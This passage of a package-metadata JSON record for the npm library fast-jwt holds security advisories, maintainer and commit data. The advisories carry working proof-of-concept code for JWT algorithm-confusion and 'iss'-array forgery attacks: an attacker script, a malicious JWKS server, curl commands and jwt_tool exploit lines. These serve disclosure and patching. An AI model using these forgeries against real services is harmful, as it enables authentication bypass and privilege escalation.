Rojas\\Desktop\\crypto-research\\fast-jwt\u003e","origin":"UNSPECIFIED","severity":"CRITICAL","published_at":"2026-04-03T04:07:09.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":9.1,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N","references":["https://github.com/nearform/fast-jwt/security/advisories/GHSA-rp9m-7r4c-75qg","https://nvd.nist.gov/vuln/detail/CVE-2026-35039","https://github.com/nearform/fast-jwt/commit/de121056c6415b58770c60640881eaec67ac4ceb","https://github.com/advisories/GHSA-rp9m-7r4c-75qg"],"source_kind":"github","identifiers":["GHSA-rp9m-7r4c-75qg","CVE-2026-35039"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-04-03T05:00:08.360Z","updated_at":"2026-08-14T00:04:24.933Z","epss_percentage":0.00212,"epss_percentile":0.11518,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1ycDltLTdyNGMtNzVxZ84ABUrI","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS1ycDltLTdyNGMtNzVxZ84ABUrI","packages":[{"ecosystem":"npm","package_name":"fast-jwt","versions":[{"first_patched_version":"6.2.0","vulnerable_version_range":"\u003e= 0.0.1, \u003c 6.2.0"}],"purl":"pkg:npm/fast-jwt"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1ycDltLTdyNGMtNzVxZ84ABUrI/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS1tdmYyLWY2Z20tdzk4N84ABUpI","url":"https://github.com/advisories/GHSA-mvf2-f6gm-w987","title":"fast-jwt: Incomplete fix for CVE-2023-48223: JWT Algorithm Confusion via Whitespace-Prefixed RSA Public Key","description":"### Summary\n The fix for GHSA-c2ff-88x2-x9pg (CVE-2023-48223) is incomplete. The publicKeyPemMatcher regex in fast-jwt/src/crypto.js uses a ^ anchor that is defeated by any leading whitespace in the key string, re-enabling the exact same JWT algorithm confusion attack that the CVE patched.\n\n### Details\n The fix for CVE-2023-48223 (https://github.com/nearform/fast-jwt/commit/15a6e92, v3.3.2) changed the public key matcher from a\n  plain string used with .includes() to a regex used with .match():\n\n```\n  // Before fix (vulnerable to original CVE)\n  const publicKeyPemMatcher = '-----BEGIN PUBLIC KEY-----'\n  // .includes() matched anywhere in the string — not vulnerable to whitespace\n\n  // After fix (current code, line 28)\n  const publicKeyPemMatcher = /^-----BEGIN(?: (RSA))? PUBLIC KEY-----/\n  // ^ anchor requires match at position 0 — defeated by leading whitespace\n\n  In performDetectPublicKeyAlgorithms()\n  (https://github.com/nearform/fast-jwt/blob/0ff14a687b9af786bd3ffa870d6febe6e1f13aaa/src/crypto.js#L126-L137):\n\n  function performDetectPublicKeyAlgorithms(key) {\n    const publicKeyPemMatch = key.match(publicKeyPemMatcher)  // no .trim()!\n\n    if (key.match(privateKeyPemMatcher)) {\n      throw ...\n    } else if (publicKeyPemMatch \u0026\u0026 publicKeyPemMatch[1] === 'RSA') {\n      return rsaAlgorithms      // ← correct path: restricts to RS/PS algorithms\n    } else if (!publicKeyPemMatch \u0026\u0026 !key.includes(publicKeyX509CertMatcher)) {\n      return hsAlgorithms        // ← VULNERABLE: RSA key falls through here\n    }\n\n```\n  When the key string has any leading whitespace (space, tab, \\n, \\r\\n), the ^ anchor fails, publicKeyPemMatch is null, and the RSA\n  public key is classified as an HMAC secret (hsAlgorithms). The attacker can then sign an HS256 token using the public key as the\n  HMAC secret — the exact same attack as CVE-2023-48223.\n\n  Notably, the private key detection function does call .trim() before matching\n  https://github.com/nearform/fast-jwt/blob/0ff14a687b9af786bd3ffa870d6febe6e1f13aaa/src/crypto.js#L79:\nconst pemData = key.trim().match(privateKeyPemMatcher)  // trims — not vulnerable\n\n  The public key path does not. This inconsistency is the root cause.\n\n  Leading whitespace in PEM key strings is common in real-world deployments:\n  - PostgreSQL/MySQL text columns often return strings with leading newlines\n  - YAML multiline strings (|, \u003e) can introduce leading whitespace\n  - Environment variables with embedded newlines\n  - Copy-paste into configuration files\n\n### PoC\n Victim server (server.js):\n\n```\n  const http = require('node:http');\n  const { generateKeyPairSync } = require('node:crypto');\n  const fs = require('node:fs');\n  const path = require('node:path');\n  const { createSigner, createVerifier } = require('fast-jwt');\n\n  const port = 3000;\n\n  // Generate RSA key pair\n  const { publicKey, privateKey } = generateKeyPairSync('rsa', { modulusLength: 2048 });\n  const publicKeyPem = publicKey.export({ type: 'pkcs1', format: 'pem' });\n  const privateKeyPem = privateKey.export({ type: 'pkcs8', format: 'pem' });\n\n  // Simulate real-world scenario: key retrieved from database with leading newline\n  const publicKeyFromDB = '\\n' + publicKeyPem;\n\n  // Write public key to disk so attacker can recover it\n  fs.writeFileSync(path.join(__dirname, 'public_key.pem'), publicKeyFromDB);\n\n  const server = http.createServer((req, res) =\u003e {\n    const url = new URL(req.url, `http://localhost:${port}`);\n\n    // Endpoint to generate a JWT token with admin: false\n    if (url.pathname === '/generateToken') {\n      const payload = { admin: false, name: url.searchParams.get('name') || 'anonymous' };\n      const signSync = createSigner({ algorithm: 'RS256', key: privateKeyPem });\n      const token = signSync(payload);\n      res.writeHead(200, { 'Content-Type': 'application/json' });\n      res.end(JSON.stringify({ token }));\n      return;\n    }\n\n    // Endpoint to check if you are the admin or not\n    if (url.pathname === '/checkAdmin') {\n      const token = url.searchParams.get('token');\n      try {\n        const verifySync = createVerifier({ key: publicKeyFromDB });\n        const payload = verifySync(token);\n        res.writeHead(200, { 'Content-Type': 'application/json' });\n        res.end(JSON.stringify(payload));\n      } catch (err) {\n        res.writeHead(401, { 'Content-Type': 'application/json' });\n        res.end(JSON.stringify({ error: err.message }));\n      }\n      return;\n    }\n\n    res.writeHead(404);\n    res.end('Not found');\n  });\n\n  server.listen(port, () =\u003e console.log(`Server running on http://localhost:${port}`));\n```\n\n  Attacker script (attacker.js):\n\n```\n  const { createHmac } = require('node:crypto');\n  const fs = require('node:fs');\n  const path = require('node:path');\n\n  const serverUrl = 'http://localhost:3000';\n\n  async function main() {\n    // Step 1: Get a legitimate token\n    const res = await fetch(`${serverUrl}/generateToken?name=attacker`);\n    const { token: legitimateToken } = await res.json();\n    console.log('Legitimate token payload:',\n      JSON.parse(Buffer.from(legitimateToken.split('.')[1], 'base64url')));\n\n    // Step 2: Recover the public key\n    // (In the original advisory: python3 jwt_forgery.py token1 token2)\n    const publicKey = fs.readFileSync(path.join(__dirname, 'public_key.pem'), 'utf8');\n\n    // Step 3: Forge an HS256 token with admin: true\n    // (In the original advisory: python jwt_tool.py --exploit k -pk public_key token)\n    const header = Buffer.from(JSON.stringify({ alg: 'HS256', typ: 'JWT' })).toString('base64url');\n    const payload = Buffer.from(JSON.stringify({\n      admin: true, name: 'attacker',\n      iat: Math.floor(Date.now() / 1000),\n      exp: Math.floor(Date.now() / 1000) + 3600\n    })).toString('base64url');\n    const signature = createHmac('sha256', publicKey)\n      .update(header + '.' + payload).digest('base64url');\n    const forgedToken = header + '.' + payload + '.' + signature;\n\n    // Step 4: Present forged token to /checkAdmin\n    // 4a. Legitimate RS256 token — REJECTED\n    const legRes = await fetch(`${serverUrl}/checkAdmin?token=${encodeURIComponent(legitimateToken)}`);\n    console.log('Legitimate RS256 token:', legRes.status, await legRes.json());\n\n    // 4b. Forged HS256 token — ACCEPTED\n    const forgedRes = await fetch(`${serverUrl}/checkAdmin?token=${encodeURIComponent(forgedToken)}`);\n    console.log('Forged HS256 token:', forgedRes.status, await forgedRes.json());\n  }\n\n  main().catch(console.error);\n```\n\n  Running the PoC:\n  # Terminal 1\n  node server.js\n\n  # Terminal 2\n  node attacker.js\n\n  Output:\n  Legitimate token payload: { admin: false, name: 'attacker', iat: 1774307691 }\n  Legitimate RS256 token: 401 { error: 'The token algorithm is invalid.' }\n  Forged HS256 token: 200 { admin: true, name: 'attacker', iat: 1774307691, exp: 1774311291 }\n\n  The legitimate RS256 token is rejected (the key is misclassified so RS256 is not in the allowed algorithms), while the attacker's\n  forged HS256 token is accepted with admin: true.\n\n\n### Impact\nApplications using the RS256 algorithm, a public key with any leading whitespace before the PEM header, and calling the verify\nfunction without explicitly providing an algorithm, are vulnerable to this algorithm confusion attack which allows attackers to\nsign arbitrary payloads which will be accepted by the verifier.\nThis is a direct bypass of the fix for CVE-2023-48223 / GHSA-c2ff-88x2-x9pg. The attack requirements are identical to the original\nCVE: the attacker only needs knowledge of the server's RSA public key (which is public by definition).","origin":"UNSPECIFIED","severity":"CRITICAL","published_at":"2026-04-02T20:37:54.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":9.1,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N","references":["https://github.com/nearform/fast-jwt/security/advisories/GHSA-mvf2-f6gm-w987","https://github.com/advisories/GHSA-c2ff-88x2-x9pg","https://nvd.nist.gov/vuln/detail/CVE-2026-34950","https://github.com/advisories/GHSA-mvf2-f6gm-w987"],"source_kind":"github","identifiers":["GHSA-mvf2-f6gm-w987","CVE-2026-34950"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-04-02T21:00:08.456Z","updated_at":"2026-08-14T00:04:27.576Z","epss_percentage":0.00235,"epss_percentile":0.14543,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1tdmYyLWY2Z20tdzk4N84ABUpI","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS1tdmYyLWY2Z20tdzk4N84ABUpI","packages":[{"ecosystem":"npm","package_name":"fast-jwt","versions":[{"first_patched_version":"6.2.0","vulnerable_version_range":"\u003c= 6.1.0"}],"purl":"pkg:npm/fast-jwt"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1tdmYyLWY2Z20tdzk4N84ABUpI/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS1nbTQ1LXEzdjItNmNmOM4ABFpe","url":"https://github.com/advisories/GHSA-gm45-q3v2-6cf8","title":"Fast-JWT Improperly Validates iss Claims","description":"### Summary\nThe `fast-jwt` library does not properly validate the `iss` claim based on the RFC https://datatracker.ietf.org/doc/html/rfc7519#page-9.\n\n#### Details\nThe `iss` (issuer) claim validation within the fast-jwt library permits an array of strings as a valid `iss` value. This design flaw enables a potential attack where a malicious actor crafts a JWT with an `iss` claim structured as `['https://attacker-domain/', 'https://valid-iss']`. Due to the permissive validation, the JWT will be deemed valid.\n\nFurthermore, if the application relies on external libraries like `get-jwks` that do not independently validate the `iss` claim, the attacker can leverage this vulnerability to forge a JWT that will be accepted by the victim application. Essentially, the attacker can insert their own domain into the `iss` array, alongside the legitimate issuer, and bypass the intended security checks.\n\n#### PoC\nTake a server running the following code:\n\n```js\nconst express = require('express')\nconst buildJwks = require('get-jwks')\nconst { createVerifier } = require('fast-jwt')\n\nconst jwks = buildJwks({ providerDiscovery: true });\nconst keyFetcher = async (jwt) =\u003e\n    jwks.getPublicKey({\n        kid: jwt.header.kid,\n        alg: jwt.header.alg,\n        domain: jwt.payload.iss\n    });\n\n\nconst jwtVerifier = createVerifier({\n    key: keyFetcher,\n    allowedIss: 'https://valid-iss',\n});\n\nconst app = express();\nconst port = 3000;\n\napp.use(express.json());\n\n\nasync function verifyToken(req, res, next) {\n  const headerAuth = req.headers.authorization.split(' ')\n  let token = '';\n  if (headerAuth.length \u003e 1) {\n    token = headerAuth[1];\n  }\n\n  const payload = await jwtVerifier(token);\n\n  req.decoded = payload;\n  next();\n}\n\n// Endpoint to check if you are auth or not\napp.get('/auth', verifyToken, (req, res) =\u003e {\n  res.json(req.decoded);\n});\n\napp.listen(port, () =\u003e {\n  console.log(`Server is running on port ${port}`);\n});\n```\n\nNow we build a server that will be used to generate the JWT token and send the verification keys to the victim server:\n\n```js\nconst { generateKeyPairSync } = require('crypto');\nconst express = require('express');\nconst pem2jwk = require('pem2jwk');\nconst jwt = require('jsonwebtoken');\n\nconst app = express();\nconst port = 3001;\nconst host = `http://localhost:${port}/`;\n\nconst { publicKey, privateKey } = generateKeyPairSync(\"rsa\", \n    {   modulusLength: 4096,\n        publicKeyEncoding: { type: 'pkcs1', format: 'pem' },\n        privateKeyEncoding: { type: 'pkcs1', format: 'pem' },\n    },\n); \nconst jwk = pem2jwk(publicKey);\n\napp.use(express.json());\n\n// Endpoint to create token\napp.post('/create-token', (req, res) =\u003e {\n  const token = jwt.sign({ ...req.body, iss: [host, 'https://valid-iss'],  }, privateKey, { algorithm: 'RS256' });\n  res.send(token);\n});\n\napp.get('/.well-known/jwks.json', (req, res) =\u003e {\n    return res.json({\n        keys: [{\n            ...jwk,\n            alg: 'RS256',\n            use: 'sig',\n        }]\n    });\n})\n\napp.all('*', (req, res) =\u003e {\n    return res.json({\n        \"issuer\": host,\n        \"jwks_uri\": host + '.well-known/jwks.json'\n    });\n});\n\napp.listen(port, () =\u003e {\n  console.log(`Server is running on port ${port}`);\n});\n```\n\n\n```bash\nexport TOKEN=$(curl -X POST http://localhost:3001/create-token -H \"Content-Type: application/json\" -d '{\"name\": \"test\"}')\ncurl -X GET http://localhost:3000/auth -H \"Authorization: Bearer $TOKEN\"\n```\n\n#### Impact\nApplications relaying on the validation of the `iss` claim by fast-jwt allows attackers to sign arbitrary payloads which will be accepted by the verifier.\n\n#### Solution\nChange https://github.com/nearform/fast-jwt/blob/d2b0ccb103848917848390f96f06acee339a7a19/src/verifier.js#L475 to a validator tha accepts only string for the value as stated in the RFC https://datatracker.ietf.org/doc/html/rfc7519#page-9.","origin":"UNSPECIFIED","severity":"MODERATE","published_at":"2025-03-19T15:48:43.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":6.5,"cvss_vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:H/A:N","references":["https://github.com/nearform/fast-jwt/security/advisories/GHSA-gm45-q3v2-6cf8","https://github.com/nearform/fast-jwt/commit/cc26b1d473f900446ad846f8f0b10eb1c0adcbdd","https://nvd.nist.gov/vuln/detail/CVE-2025-30144","https://datatracker.ietf.org/doc/html/rfc7519#page-9","https://github.com/advisories/GHSA-gm45-q3v2-6cf8"],"source_kind":"github","identifiers":["GHSA-gm45-q3v2-6cf8","CVE-2025-30144"],"repository_url":"https://github.com/nearform/fast-jwt","blast_radius":0.0,"created_at":"2025-03-19T16:08:10.999Z","updated_at":"2026-08-20T13:05:42.654Z","epss_percentage":0.00571,"epss_percentile":0.44701,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1nbTQ1LXEzdjItNmNmOM4ABFpe","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS1nbTQ1LXEzdjItNmNmOM4ABFpe","packages":[{"ecosystem":"npm","package_name":"fast-jwt","versions":[{"first_patched_version":"5.0.6","vulnerable_version_range":"\u003c 5.0.6"}],"purl":"pkg:npm/fast-jwt"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1nbTQ1LXEzdjItNmNmOM4ABFpe/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS1jMmZmLTg4eDIteDlwZ84AA3RL","url":"https://github.com/advisories/GHSA-c2ff-88x2-x9pg","title":"JWT Algorithm Confusion","description":"### Summary\nThe fast-jwt library does not properly prevent JWT algorithm confusion for all public key types.\n\n### Details\nThe 'publicKeyPemMatcher' in 'fast-jwt/src/crypto.js' does not properly match all common PEM formats for public keys. To exploit this vulnerability, an attacker needs to craft a malicious JWT token containing the HS256 algorithm, signed with the public RSA key of the victim application. This attack will only work if the victim application utilizes a public key containing the `BEGIN RSA PUBLIC KEY` header.\n\n### PoC\nTake a server running the following code:\n```javascript\nconst express = require('express');\nconst { createSigner, createVerifier } = require('fast-jwt')\nconst fs = require('fs');\nconst path = require('path');\n\nconst app = express();\nconst port = 3000;\n\n// Load the keys from the file\nconst publicKeyPath = path.join(__dirname, 'public_key.pem');\nconst publicKey = fs.readFileSync(publicKeyPath, 'utf8');\nconst privateKeyPath = path.join(__dirname, 'key');\nconst privateKey = fs.readFileSync(privateKeyPath, 'utf8');\n\napp.use(express.json());\n\n// Endpoint to generate a JWT token with admin: False\napp.get('/generateToken', async (req, res) =\u003e {\n  const payload = { admin: false, name: req.query.name };\n\n  const signSync = createSigner({ algorithm: 'RS256', key: privateKey });\n  const token = signSync(payload);\n  \n  res.json({ token });\n});\n\n// Middleware to verify the JWT token\nfunction verifyToken(req, res, next) {\n  const token = req.query.token;\n\n  const verifySync = createVerifier({ key: publicKey });\n  const payload = verifySync(token);\n\n  req.decoded = payload;\n  next();\n}\n\n// Endpoint to check if you are the admin or not\napp.get('/checkAdmin', verifyToken, (req, res) =\u003e {\n  res.json(req.decoded);\n});\n\napp.listen(port, () =\u003e {\n  console.log(`Server is running on port ${port}`);\n});\n```\n\nAssume the server generated their keys like follows:\n```\nssh-keygen -t rsa -b 2048 -m PEM\nssh-keygen -f key.pub -e -m PEM \u003e public_key.pem\n```\n\n**Public key recovery**\nFirst, an attacker needs to recover the public key from the server in any way possible. It is possible to extract this from just two JWT tokens as shown below.\nGrab two different JWT tokens and utilize the following tool: `https://github.com/silentsignal/rsa_sign2n/blob/release/standalone/jwt_forgery.py`\n```\npython3 jwt_forgery.py token1 token2\n```\nThe tool will generate 4 different public keys, all in different formats. Try the following for all 4 formats.\n\n**Algorithm confusion**\nChange the JWT to the HS256 algorithm and modify any of the contents to your liking at `https://jwt.io/`.\nCopy the resulting JWT token and use with the following tool: `https://github.com/ticarpi/jwt_tool`\n```\npython /opt/jwt_tool/jwt_tool.py --exploit k -pk public_key token\n```\nYou will now get a resulting JWT token that is validly signed.\n\n### Impact\nApplications using the RS256 algorithm, a public key with a `BEGIN RSA PUBLIC KEY` header, and calling the verify function without explicitly providing an algorithm, are vulnerable to this algorithm confusion attack which allows attackers to sign arbitrary payloads which will be accepted by the verifier.\n\n### Solution\n\nChange https://github.com/nearform/fast-jwt/blob/master/src/crypto.js#L29\n\n```javascript\nconst publicKeyPemMatcher = '-----BEGIN PUBLIC KEY-----'\n```\n\nto be regex: \n\n```javascript\nconst publicKeyPemMatcher = /^-----BEGIN( RSA)? PUBLIC KEY-----/\n```","origin":"UNSPECIFIED","severity":"MODERATE","published_at":"2023-11-20T20:58:56.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":5.9,"cvss_vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:H/A:N","references":["https://github.com/nearform/fast-jwt/security/advisories/GHSA-c2ff-88x2-x9pg","https://nvd.nist.gov/vuln/detail/CVE-2023-48223","https://github.com/nearform/fast-jwt/commit/15a6e92c9adb39acde41a9b11cec0cbde8ad763b","https://github.com/nearform/fast-jwt/blob/master/src/crypto.js#L29","https://github.com/nearform/fast-jwt/releases/tag/v3.3.2","https://github.com/advisories/GHSA-c2ff-88x2-x9pg"],"source_kind":"github","identifiers":["GHSA-c2ff-88x2-x9pg","CVE-2023-48223"],"repository_url":"https://github.com/nearform/fast-jwt","blast_radius":0.0,"created_at":"2023-11-20T21:05:53.530Z","updated_at":"2026-08-15T20:15:22.408Z","epss_percentage":0.00687,"epss_percentile":0.49558,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1jMmZmLTg4eDIteDlwZ84AA3RL","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS1jMmZmLTg4eDIteDlwZ84AA3RL","packages":[{"ecosystem":"npm","package_name":"fast-jwt","versions":[{"first_patched_version":"3.3.2","vulnerable_version_range":"\u003c 3.3.2"}],"purl":"pkg:npm/fast-jwt"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1jMmZmLTg4eDIteDlwZ84AA3RL/related_packages","related_advisories":[]}],"docker_usage_url":"https://docker.ecosyste.ms/usage/npm/fast-jwt","docker_dependents_count":65,"docker_downloads_count":191441,"usage_url":"https://repos.ecosyste.ms/usage/npm/fast-jwt","dependent_repositories_url":"https://repos.ecosyste.ms/api/v1/usage/npm/fast-jwt/dependencies","status":null,"funding_links":[],"critical":null,"issue_metadata":{"last_synced_at":"2024-09-08T15:55:18.069Z","issues_count":69,"pull_requests_count":171,"avg_time_to_close_issue":1729778.0895522388,"avg_time_to_close_pull_request":974100.3017751479,"issues_closed_count":67,"pull_requests_closed_count":169,"pull_request_authors_count":34,"issue_authors_count":36,"avg_comments_per_issue":1.5217391304347827,"avg_comments_per_pull_request":0.9766081871345029,"merged_pull_requests_count":93,"bot_issues_count":33,"bot_pull_requests_count":120,"past_year_issues_count":21,"past_year_pull_requests_count":84,"past_year_avg_time_to_close_issue":673031.8,"past_year_avg_time_to_close_pull_request":936680.5609756098,"past_year_issues_closed_count":20,"past_year_pull_requests_closed_count":82,"past_year_pull_request_authors_count":15,"past_year_issue_authors_count":13,"past_year_avg_comments_per_issue":1.7142857142857142,"past_year_avg_comments_per_pull_request":0.9761904761904762,"past_year_bot_issues_count":8,"past_year_bot_pull_requests_count":70,"past_year_merged_pull_requests_count":27,"issues_url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/repositories/nearform%2Ffast-jwt/issues","maintainers":[{"login":"simoneb","count":3,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/simoneb"},{"login":"relvao","count":1,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/relvao"}],"active_maintainers":[]},"versions_url":"https://packages.ecosyste.ms/api/v1/registries/npmjs.org/packages/fast-jwt/versions","version_numbers_url":"https://packages.ecosyste.ms/api/v1/registries/npmjs.org/packages/fast-jwt/version_numbers","latest_version_url":"https://packages.ecosyste.ms/api/v1/registries/npmjs.org/packages/fast-jwt/latest_version","dependent_packages_url":"https://packages.ecosyste.ms/api/v1/registries/npmjs.org/packages/fast-jwt/dependent_packages","related_packages_url":"https://packages.ecosyste.ms/api/v1/registries/npmjs.org/packages/fast-jwt/related_packages","codemeta_url":"https://packages.ecosyste.ms/api/v1/registries/npmjs.org/packages/fast-jwt/codemeta","maintainers":[{"uuid":"ryan.roemer","login":"ryan.roemer","name":null,"email":"ryan@loose-bits.com","url":null,"packages_count":282,"html_url":"https://www.npmjs.com/~ryan.roemer","role":null,"created_at":"2026-04-10T09:33:25.489Z","updated_at":"2026-04-10T09:33:25.489Z","packages_url":"https://packages.ecosyste.ms/api/v1/registries/npmjs.org/maintainers/ryan.roemer/packages"},{"uuid":"simoneb","login":"simoneb","name":null,"email":"simone.busoli@gmail.com","url":null,"packages_count":166,"html_url":"https://www.npmjs.com/~simoneb","role":null,"created_at":"2023-01-10T15:44:08.241Z","updated_at":"2023-01-10T15:44:08.241Z","packages_url":"https://packages.ecosyste.ms/api/v1/registries/npmjs.org/maintainers/simoneb/packages"},{"uuid":"gbdev13","login":"gbdev13","name":null,"email":"contato@gbdev.me","url":null,"packages_count":93,"html_url":"https://www.npmjs.com/~gbdev13","role":null,"created_at":"2026-08-13T02:39:15.359Z","updated_at":"2026-08-13T02:39:15.359Z","packages_url":"https://packages.ecosyste.ms/api/v1/registries/npmjs.org/maintainers/gbdev13/packages"},{"uuid":"donal.moynihan","login":"donal.moynihan","name":null,"email":"donal.moynihan@nearform.com","url":null,"packages_count":100,"html_url":"https://www.npmjs.com/~donal.moynihan","role":null,"created_at":"2023-01-10T15:44:08.209Z","updated_at":"2023-01-10T15:44:08.209Z","packages_url":"https://packages.ecosyste.ms/api/v1/registries/npmjs.org/maintainers/donal.moynihan/packages"},{"uuid":"eamonn.frisby","login":"eamonn.frisby","name":null,"email":"eamonn.frisby@nearform.com","url":null,"packages_count":100,"html_url":"https://www.npmjs.com/~eamonn.frisby","role":null,"created_at":"2023-01-10T15:44:08.420Z","updated_at":"2023-01-10T15:44:08.420Z","packages_url":"https://packages.ecosyste.ms/api/v1/registries/npmjs.org/maintainers/eamonn.frisby/packages"},{"uuid":"sociablesteve","login":"sociablesteve","name":null,"email":"steve.goode@nearform.com","url":null,"packages_count":100,"html_url":"https://www.npmjs.com/~sociablesteve","role":null,"created_at":"2026-04-10T09:33:25.413Z","updated_at":"2026-04-10T09:33:25.413Z","packages_url":"https://packages.ecosyste.ms/api/v1/registries/npmjs.org/maintainers/sociablesteve/packages"},{"uuid":"elizibin","login":"elizibin","name":null,"email":"elizibin@gmail.com","url":null,"packages_count":103,"html_url":"https://www.npmjs.com/~elizibin","role":null,"created_at":"2026-04-10T09:33:25.560Z","updated_at":"2026-04-10T09:33:25.560Z","packages_url":"https://packages.ecosyste.ms/api/v1/registries/npmjs.org/maintainers/elizibin/packages"}],"registry":{"name":"npmjs.org","url":"https://registry.npmjs.org","ecosystem":"npm","default":true,"packages_count":5786620,"maintainers_count":1238426,"namespaces_count":422153,"keywords_count":882770,"github":"npm","metadata":{"funded_packages_count":190126,"rate_limit":2},"icon_url":"https://github.com/npm.png","created_at":"2022-04-04T15:19:23.081Z","updated_at":"2026-08-25T05:03:20.950Z","packages_url":"https://packages.ecosyste.ms/api/v1/registries/npmjs.org/packages","maintainers_url":"https://packages.ecosyste.ms/api/v1/registries/npmjs.org/maintainers","namespaces_url":"https://packages.ecosyste.ms/api/v1/registries/npmjs.org/namespaces"}}],"commits":{"id":183006,"full_name":"nearform/fast-jwt","default_branch":"master","total_commits":400,"total_committers":72,"total_bot_commits":159,"total_bot_committers":4,"mean_commits":5.555555555555555,"dds":0.78,"past_year_total_commits":38,"past_year_total_committers":14,"past_year_total_bot_commits":14,"past_year_total_bot_committers":2,"past_year_mean_commits":2.7142857142857144,"past_year_dds":0.7631578947368421,"last_synced_at":"2026-08-21T06:38:27.295Z","last_synced_commit":"20728b7949afb1c47e869917ead1a143be4acd2a","created_at":"2023-03-08T04:09:36.653Z","updated_at":"2026-08-21T06:38:27.112Z","committers":[{"name":"dependabot[bot]","email":"49699333+dependabot[bot]","login":"dependabot[bot]","count":88},{"name":"Shogun","email":"shogun@cowtech.it","login":null,"count":64},{"name":"optic-release-automation[bot]","email":"94357573+optic-release-automation[bot]","login":"optic-release-automation[bot]","count":56},{"name":"Simone Busoli","email":"simone.busoli@gmail.com","login":"simoneb","count":16},{"name":"Matteo Pietro Dazzi","email":"matteopietro.dazzi@gmail.com","login":"ilteoood","count":15},{"name":"dependabot-preview[bot]","email":"27856297+dependabot-preview[bot]","login":"dependabot-preview[bot]","count":14},{"name":"Radomir Drndarski","email":"90759187+radomird","login":"radomird","count":14},{"name":"Paolo Insogna","email":"paolo@cowtech.it","login":"ShogunPanda","count":14},{"name":"Matteo Collina","email":"hello@matteocollina.com","login":"mcollina","count":10},{"name":"Osmond van Hemert","email":"osmond@vanhemert.nu","login":"ovhemert","count":9},{"name":"Steve Goode","email":"52213009+SociableSteve","login":"SociableSteve","count":7},{"name":"Salman Mitha","email":"salmanmitha@gmail.com","login":"salmanm","count":6},{"name":"Guilherme Kammsetzer","email":"6863574+guilhermelimak","login":"guilhermelimak","count":5},{"name":"Antonio Attanasio","email":"antonio.attanasio@nearform.com","login":"antoatta85","count":4},{"name":"Marco Ippolito","email":"marcoippolito54@gmail.com","login":"marco-ippolito","count":4},{"name":"Anthony Gubler","email":"anthony.gubler@nearform.com","login":"agubler","count":3},{"name":"Russ Bredihin","email":"bredikhin","login":"bredikhin","count":3},{"name":"Andrea Carraro","email":"toomuchdesign","login":"toomuchdesign","count":3},{"name":"Allan Jorge","email":"3681298+hails","login":"hails","count":3},{"name":"lv10","email":"luisvillamarin@gmail.com","login":"lv10","count":2},{"name":"darkgl0w","email":"31093081+darkgl0w","login":"darkgl0w","count":2},{"name":"Will Lines","email":"110234511+williamlines","login":"williamlines","count":2},{"name":"Ryan Hinchey","email":"rlhinchey@gmail.com","login":"ryhinchey","count":2},{"name":"Mohammed Gadi","email":"9037086+msgadi","login":"msgadi","count":2},{"name":"Michal Ševčík","email":"sevcik.dev@gmail.com","login":"MelkorNemesis","count":2},{"name":"Filip Skokan","email":"panva.ip@gmail.com","login":"panva","count":2},{"name":"Copilot","email":"198982749+Copilot","login":"Copilot","count":2},{"name":"Benoit Pohl","email":"krazylek@gmail.com","login":"krazylek","count":2},{"name":"Toni Leigh Sharpe","email":"toni.sharpe@nearform.com","login":null,"count":1},{"name":"Aaron Heckmann","email":"aaron.heckmann+github@gmail.com","login":"aheckmann","count":1},{"name":"Ahmed Issa","email":"neuissa@gmail.com","login":"ahmedissa","count":1},{"name":"Alexei Mikhailov","email":"kblcuk@pm.me","login":"kblcuk","count":1},{"name":"Andrea Olivieri","email":"andrea.olivieri@nearform.com","login":"andolivieri-nf","count":1},{"name":"Anupam Mediratta","email":"mediratta@gmail.com","login":"anupamme","count":1},{"name":"Bengt Brodersen","email":"bengt.brodersen@gmail.com","login":"qoomon","count":1},{"name":"Brian Kemper","email":"bkemper@gmail.com","login":"Gobd","count":1},{"name":"Matt Van Horn","email":"mvanhorn","login":"mvanhorn","count":1},{"name":"Nigel Hanlon","email":"nigelhanlon","login":"nigelhanlon","count":1},{"name":"Oliver Plummer","email":"oliver.plummer@outlook.com","login":"olyop","count":1},{"name":"Ramon Mulia","email":"ramon.mulia@nearform.com","login":"ramonmulia","count":1},{"name":"Rubin Bhandari","email":"roobin.bhandari@gmail.com","login":"rubiin","count":1},{"name":"Ryan Park","email":"rp4rk","login":"rp4rk","count":1},{"name":"Sameer Srivastava","email":"sameer13@gmail.com","login":"sameer-coder","count":1},{"name":"Samuel Neff","email":"samuelneff","login":"samuelneff","count":1},{"name":"Tiago Relvao","email":"relvao@gmail.com","login":"relvao","count":1},{"name":"Timothy Lehner","email":"tim.s.lehner@gmail.com","login":"TimLehner","count":1},{"name":"Vikas 